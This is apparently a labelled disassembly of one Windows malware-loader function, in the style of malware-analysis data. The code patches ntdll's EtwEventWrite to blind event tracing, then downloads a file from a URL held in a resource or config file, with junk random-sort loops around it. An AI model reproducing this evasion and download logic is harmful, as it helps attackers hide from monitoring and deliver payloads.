Function at 0x14000dbd0
Capabilities:
Allocate or change rwx memory
Create http request
Download and write a file
Execute shellcode via indirect call
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x4e8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x460], 0xfffffffffffffffe
stmxcsr dword [rbp - 0x40]
or dword [rbp - 0x40], 0x8040
ldmxcsr dword [rbp - 0x40]
lea rcx, [0x14003309d]
call fcn.140008200
call fcn.140008590
lea rcx, str._________________________________
call fcn.140008200
call fcn.140008590
lea rcx, [0x140033078]
call fcn.140008200
call fcn.140008590
lea rcx, str.___________________________________
call fcn.140008200
call fcn.140008590
lea rcx, str._____________________________
call fcn.140008200
call fcn.140008590
lea rcx, str.__________________________
call fcn.140008200
call fcn.140008590
lea rcx, str.Github:_https:__github.com_T4y1oR
call fcn.140008200
call fcn.140008590
xor ecx, ecx
call sub.msvcrt.dll__time64
mov ecx, eax
call sub.msvcrt.dll_srand
mov esi, 0x1c
nop
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi - 0x5c], eax
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi - 0x58], eax
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi - 0x54], eax
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi - 0x50], eax
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi - 0x4c], eax
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi - 0x48], eax
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi - 0x44], eax
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi - 0x40], eax
add rsi, 0x20
cmp rsi, 0x19c
jne 0x14000dc90
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x26
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + 0x140], eax
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x26
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + 0x144], eax
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x26
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + 0x148], eax
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x26
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + 0x14c], eax
xor ecx, ecx
mov eax, 0x63
jmp 0x14000deb1
lea edx, [rcx + 1]
dec rax
cmp ecx, 0x62
mov ecx, edx
je 0x14000dfbc
mov r8d, ecx
mov edx, 0x63
sub rdx, r8
cmp rdx, 4
jae 0x14000df10
mov r8, rdx
and r8, 0xfffffffffffffffc
cmp r8, rdx
je 0x14000dea0
mov edx, dword [rbp + r8*4 - 0x40]
jmp 0x14000def2
mov dword [rbp + r8*4 - 0x40], r10d
mov dword [rbp + r9*4 - 0x40], edx
mov r8, r9
cmp rax, r9
je 0x14000dea0
lea r9, [r8 + 1]
mov r10d, dword [rbp + r8*4 - 0x3c]
cmp edx, r10d
jg 0x14000dee0
mov edx, r10d
jmp 0x14000deea
lea r8, [rax*4]
and r8, 0xfffffffffffffff0
xor r9d, r9d
jmp 0x14000df39
add r9, 0x10
cmp r8, r9
je 0x14000dec2
mov r10d, dword [rbp + r9 - 0x40]
mov r11d, dword [rbp + r9 - 0x3c]
cmp r10d, r11d
jle 0x14000df60
mov dword [rbp + r9 - 0x40], r11d
mov dword [rbp + r9 - 0x3c], r10d
jmp 0x14000df63
mov r10d, r11d
mov r11d, dword [rbp + r9 - 0x38]
cmp r10d, r11d
jle 0x14000df80
mov dword [rbp + r9 - 0x3c], r11d
mov dword [rbp + r9 - 0x38], r10d
jmp 0x14000df83
mov r10d, r11d
mov r11d, dword [rbp + r9 - 0x34]
cmp r10d, r11d
jle 0x14000dfa0
mov dword [rbp + r9 - 0x38], r11d
mov dword [rbp + r9 - 0x34], r10d
jmp 0x14000dfa3
mov r10d, r11d
mov r11d, dword [rbp + r9 - 0x30]
cmp r10d, r11d
jle 0x14000df30
mov dword [rbp + r9 - 0x34], r11d
mov dword [rbp + r9 - 0x30], r10d
jmp 0x14000df30
mov dword [rbp + 0x440], 0
movabs rax, 0x6574697257746e
mov qword [rbp - 0x3a], rax
movabs rax, 0x746e657645777445
mov qword [rbp - 0x40], rax
mov word [rbp + 0x3fc], 0x6c
mov dword [rbp + 0x3f8], 0x6c64746e
lea rcx, [rbp + 0x3f8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rbp - 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000e1f3
mov rdi, rax
lea r9, [rbp + 0x440]
mov edx, 0x1000
mov rcx, rax
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x14000e1f3
mov dword [rdi], 0xc3c03348
mov r8d, dword [rbp + 0x440]
lea rsi, [rbp + 0x440]
mov edx, 0x1000
mov rcx, rdi
mov r9, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x14000e1f3
mov qword [rbp + 0x3f8], 0
mov qword [rbp + 0x408], 0
mov qword [rbp + 0x410], 0xf
mov byte [rbp + 0x3f8], 0
lea rdx, str.main.txt
lea rdi, [rbp + 0x3f8]
mov r8d, 8
mov rcx, rdi
call fcn.1400093f0
lea rcx, [rbp - 0x40]
mov rdx, rdi
mov r8d, 1
call fcn.14000a0d0
mov rax, qword [rbp - 0x40]
movsxd rax, dword [rax + 4]
mov ebx, dword [rbp + rax - 0x30]
lea rdi, [rbp + 0x70]
lea rcx, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rax - 0x40], rcx
mov rax, qword [rbp - 0x40]
movsxd rax, dword [rax + 4]
lea ecx, [rax - 0xb0]
mov dword [rbp + rax - 0x44], ecx
lea rcx, [rbp - 0x30]
call fcn.14000a830
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x70], rax
mov rcx, rdi
call fcn.14001381c
test ebx, ebx
je 0x14000e1fd
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea r8, [rbp - 0x40]
mov rcx, rax
mov edx, 0x65
mov r9d, 0x100
call qword [sym.imp.USER32.dll_LoadStringW]
mov qword [rbp + 0x440], 0
test eax, eax
jle 0x14000e20e
mov qword [rbp + 0x450], 0
mov qword [rbp + 0x458], 7
mov word [rbp + 0x440], 0
lea rcx, [rbp - 0x40]
call sub.msvcrt.dll_wcslen
mov rdi, rax
cmp rax, 7
jbe 0x14000e22f
movabs rax, 0x7fffffffffffffff
cmp rdi, rax
jae 0x14000ee06
mov rax, rdi
or rax, 7
movabs rcx, 0x7ffffffffffffffe
cmp rax, rcx
ja 0x14000ee01
cmp rax, 0xb
mov r14d, 0xa
cmovae r14, rax
lea rcx, [r14 + r14]
cmp rax, 0x7ff
jb 0x14000e258
movabs rdx, 0x7fffffffffffffec
cmp rax, rdx
jae 0x14000ee01
add rcx, 0x29
call fcn.14001447c
mov rbx, rax
add rbx, 0x27
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x14000e264
mov eax, 0xfffffffd
jmp 0x14000ede3
lea rcx, [rbp + 0x3f8]
call fcn.14000bd00
jmp 0x14000eda0
mov qword [rbp + 0x458], 7
mov qword [rbp + 0x450], 0
mov word [rbp + 0x440], 0
jmp 0x14000e291
mov qword [rbp + 0x450], rdi
mov r8, rdi
add r8, rdi
lea rcx, [rbp + 0x440]
lea rdx, [rbp - 0x40]
call fcn.14000f330
mov word [rbp + rdi*2 + 0x440], 0
jmp 0x14000e291
add rcx, 2
call fcn.14001447c
mov rbx, rax
mov qword [rbp + 0x450], rdi
mov qword [rbp + 0x458], r14
mov r8, rdi
add r8, rdi
lea rdx, [rbp - 0x40]
mov rcx, rbx
call fcn.14000f330
mov word [rbx + rdi*2], 0
mov qword [rbp + 0x440], rbx
mov rbx, qword [rbp + 0x450]
cmp qword [rbp + 0x458], 8
jb 0x14000e2a9
mov rsi, qword [rbp + 0x440]
mov qword [rbp + 0x420], 0
mov qword [rbp + 0x430], 0
mov qword [rbp + 0x438], 0xf
mov byte [rbp + 0x420], 0
cmp rbx, 0x10
jb 0x14000e316
test rbx, rbx
js 0x14000edfc
mov rax, rbx
or rax, 0xf
cmp rax, 0x17
mov edi, 0x16
cmovae rdi, rax
cmp rax, 0xfff
jb 0x14000e31d
lea rcx, [rdi + 0x28]
call fcn.14001447c
mov rcx, rax
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14000e326
test rbx, rbx
jne 0x14000e342
jmp 0x14000e366
lea rcx, [rdi + 1]
call fcn.14001447c
mov qword [rbp + 0x438], rdi
mov byte [rax], 0
mov qword [rbp + 0x420], rax
mov qword [rbp + 0x430], 0
add rbx, rbx
xor r14d, r14d
lea rdi, [rbp + 0x420]
nop
movzx edx, byte [rsi + r14]
mov rcx, rdi
call fcn.140009ed0
add r14, 2
cmp rbx, r14
jne 0x14000e350
lea rsi, [rbp + 0x420]
mov rcx, rsi
call fcn.14000ef80
call fcn.140008590
mov qword [rbp - 0x40], 0
mov qword [rbp - 0x30], 0
mov qword [rbp - 0x28], 0xf
mov byte [rbp - 0x40], 0
mov rax, qword [rbp + 0x430]
cmp rax, 4
mov r8d, 4
cmovb r8, rax
cmp qword [rbp + 0x438], 0x10
jb 0x14000e3bc
mov rsi, qword [rbp + 0x420]
lea rdi, [rbp - 0x40]
mov rcx, rdi
mov rdx, rsi
call fcn.1400093f0
mov rax, qword [rbp - 0x28]
cmp qword [rbp - 0x30], 4
jne 0x14000e75c
cmp rax, 0x10
jb 0x14000e3e4
mov rdi, qword [rbp - 0x40]
cmp dword [rdi], 0x70747468
sete sil
cmp rax, 0x10
jae 0x14000e768
test sil, sil
je 0x14000e7a6
lea rcx, str.Loading_StringTable_...
call fcn.140008200
call fcn.140008590
xor ecx, ecx
call sub.msvcrt.dll__time64
mov ecx, eax
call sub.msvcrt.dll_srand
mov esi, 0x1c
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi - 0x5c], eax
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi - 0x58], eax
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi - 0x54], eax
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi - 0x50], eax
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi - 0x4c], eax
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi - 0x48], eax
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi - 0x44], eax
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi - 0x40], eax
add rsi, 0x20
cmp rsi, 0x19c
jne 0x14000e430
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x26
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + 0x140], eax
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x26
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + 0x144], eax
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x26
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + 0x148], eax
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x26
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + 0x14c], eax
xor ecx, ecx
mov eax, 0x63
jmp 0x14000e651
lea edx, [rcx + 1]
dec rax
cmp ecx, 0x62
mov ecx, edx
je 0x14000eafc
mov r8d, ecx
mov edx, 0x63
sub rdx, r8
cmp rdx, 4
jae 0x14000e6b0
mov r8, rdx
and r8, 0xfffffffffffffffc
cmp r8, rdx
je 0x14000e640
mov edx, dword [rbp + r8*4 - 0x40]
jmp 0x14000e692
mov dword [rbp + r8*4 - 0x40], r10d
mov dword [rbp + r9*4 - 0x40], edx
mov r8, r9
cmp rax, r9
je 0x14000e640
lea r9, [r8 + 1]
mov r10d, dword [rbp + r8*4 - 0x3c]
cmp edx, r10d
jg 0x14000e680
mov edx, r10d
jmp 0x14000e68a
lea r8, [rax*4]
and r8, 0xfffffffffffffff0
xor r9d, r9d
jmp 0x14000e6d9
add r9, 0x10
cmp r8, r9
je 0x14000e662
mov r10d, dword [rbp + r9 - 0x40]
mov r11d, dword [rbp + r9 - 0x3c]
cmp r10d, r11d
jle 0x14000e700
mov dword [rbp + r9 - 0x40], r11d
mov dword [rbp + r9 - 0x3c], r10d
jmp 0x14000e703
mov r10d, r11d
mov r11d, dword [rbp + r9 - 0x38]
cmp r10d, r11d
jle 0x14000e720
mov dword [rbp + r9 - 0x3c], r11d
mov dword [rbp + r9 - 0x38], r10d
jmp 0x14000e723
mov r10d, r11d
mov r11d, dword [rbp + r9 - 0x34]
cmp r10d, r11d
jle 0x14000e740
mov dword [rbp + r9 - 0x38], r11d
mov dword [rbp + r9 - 0x34], r10d
jmp 0x14000e743
mov r10d, r11d
mov r11d, dword [rbp + r9 - 0x30]
cmp r10d, r11d
jle 0x14000e6d0
mov dword [rbp + r9 - 0x34], r11d
mov dword [rbp + r9 - 0x30], r10d
jmp 0x14000e6d0
xor esi, esi
cmp rax, 0x10
jb 0x14000e3f8
mov rcx, qword [rbp - 0x40]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14000e798
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14000edf7
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.1400144c0
test sil, sil
jne 0x14000e401
lea rcx, str.Loading_LocalFile_...
call fcn.140008200
call fcn.140008590
xor ecx, ecx
call sub.msvcrt.dll__time64
mov ecx, eax
call sub.msvcrt.dll_srand
mov esi, 0x1c
nop word [rax + rax]
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi - 0x5c], eax
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi - 0x58], eax
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi - 0x54], eax
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi - 0x50], eax
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi - 0x4c], eax
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi - 0x48], eax
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi - 0x44], eax
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x20
sar ecx, 6
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + rsi - 0x40], eax
add rsi, 0x20
cmp rsi, 0x19c
jne 0x14000e7d0
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x26
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + 0x140], eax
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x26
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + 0x144], eax
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x26
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + 0x148], eax
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x26
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rbp + 0x14c], eax
xor ecx, ecx
mov eax, 0x63
jmp 0x14000e9f1
lea edx, [rcx + 1]
dec rax
cmp ecx, 0x62
mov ecx, edx
je 0x14000eb7f
mov r8d, ecx
mov edx, 0x63
sub rdx, r8
cmp rdx, 4
jae 0x14000ea50
mov r8, rdx
and r8, 0xfffffffffffffffc
cmp r8, rdx
je 0x14000e9e0
mov edx, dword [rbp + r8*4 - 0x40]
jmp 0x14000ea32
mov dword [rbp + r8*4 - 0x40], r10d
mov dword [rbp + r9*4 - 0x40], edx
mov r8, r9
cmp rax, r9
je 0x14000e9e0
lea r9, [r8 + 1]
mov r10d, dword [rbp + r8*4 - 0x3c]
cmp edx, r10d
jg 0x14000ea20
mov edx, r10d
jmp 0x14000ea2a
lea r8, [rax*4]
and r8, 0xfffffffffffffff0
xor r9d, r9d
jmp 0x14000ea79
add r9, 0x10
cmp r8, r9
je 0x14000ea02
mov r10d, dword [rbp + r9 - 0x40]
mov r11d, dword [rbp + r9 - 0x3c]
cmp r10d, r11d
jle 0x14000eaa0
mov dword [rbp + r9 - 0x40], r11d
mov dword [rbp + r9 - 0x3c], r10d
jmp 0x14000eaa3
mov r10d, r11d
mov r11d, dword [rbp + r9 - 0x38]
cmp r10d, r11d
jle 0x14000eac0
mov dword [rbp + r9 - 0x3c], r11d
mov dword [rbp + r9 - 0x38], r10d
jmp 0x14000eac3
mov r10d, r11d
mov r11d, dword [rbp + r9 - 0x34]
cmp r10d, r11d
jle 0x14000eae0
mov dword [rbp + r9 - 0x38], r11d
mov dword [rbp + r9 - 0x34], r10d
jmp 0x14000eae3
mov r10d, r11d
mov r11d, dword [rbp + r9 - 0x30]
cmp r10d, r11d
jle 0x14000ea70
mov dword [rbp + r9 - 0x34], r11d
mov dword [rbp + r9 - 0x30], r10d
jmp 0x14000ea70
mov qword [rbp + 0x3d8], 0
mov qword [rbp + 0x3e8], 0
mov qword [rbp + 0x3f0], 0xf
mov byte [rbp + 0x3d8], 0
lea rdx, str.main.txt
lea rbx, [rbp + 0x3d8]
mov r8d, 8
mov rcx, rbx
call fcn.1400093f0
mov dword [rsp + 0x20], 0
lea rcx, str.Download
mov edx, 1
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.WININET.dll_InternetOpenW]
test rax, rax
je 0x14000ecc2
mov r14, rax
cmp qword [rbp + 0x438], 0x10
jb 0x14000eba1
mov rdx, qword [rbp + 0x420]
jmp 0x14000eba8
lea rcx, [rbp + 0x420]
call fcn.14000ef80
call fcn.140008590
lea rcx, [rbp + 0x420]
call fcn.14000bd00
jmp 0x14000ed13
lea rdx, [rbp + 0x420]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
mov rcx, r14
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
test rax, rax
je 0x14000eca6
mov rdi, rax
cmp qword [rbp + 0x3f0], 0x10
jb 0x14000ebe5
mov rbx, qword [rbp + 0x3d8]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
mov rcx, rbx
mov edx, 0x40000000
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
je 0x14000ecb1
mov rbx, rax
mov qword [rbp + 0x3d0], r14
lea r14, [rbp - 0x40]
lea r15, [rbp + 0x41c]
mov r13, qword [sym.imp.WININET.dll_InternetReadFile]
lea r12, [rbp + 0x3cc]
mov rsi, qword [sym.imp.KERNEL32.dll_WriteFile]
nop word cs:[rax + rax]
mov rcx, rdi
mov rdx, r14
mov r8d, 0x400
mov r9, r15
call r13
test eax, eax
je 0x14000ec88
mov r8d, dword [rbp + 0x41c]
test r8d, r8d
je 0x14000ec88
mov qword [rsp + 0x20], 0
mov rcx, rbx
mov rdx, r14
mov r9, r12
call rsi
jmp 0x14000ec50
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call rsi
mov rcx, qword [rbp + 0x3d0]
jmp 0x14000ecc0
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x14000ecc2
mov rsi, qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call rsi
mov rcx, r14
call rsi
lea rcx, [rbp + 0x3d8]
call fcn.14000bd00
mov rax, qword [rbp + 0x3f0]
cmp rax, 0x10
jb 0x14000ed13
mov rcx, qword [rbp + 0x3d8]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14000ed0e
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14000edf7
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.1400144c0
mov rax, qword [rbp + 0x438]
cmp rax, 0x10
jb 0x14000ed58
mov rcx, qword [rbp + 0x420]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14000ed53
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14000edf7
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.1400144c0
mov rax, qword [rbp + 0x458]
cmp rax, 8
jb 0x14000eda0
mov rcx, qword [rbp + 0x440]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x14000ed9b
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14000edf7
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.1400144c0
mov rax, qword [rbp + 0x410]
cmp rax, 0x10
jb 0x14000ede1
mov rcx, qword [rbp + 0x3f8]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14000eddc
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14000edf7
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.1400144c0
xor eax, eax
add rsp, 0x4e8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call fcn.14001aa00
call fcn.1400096d0
call fcn.1400096f0
call fcn.1400096d0
int3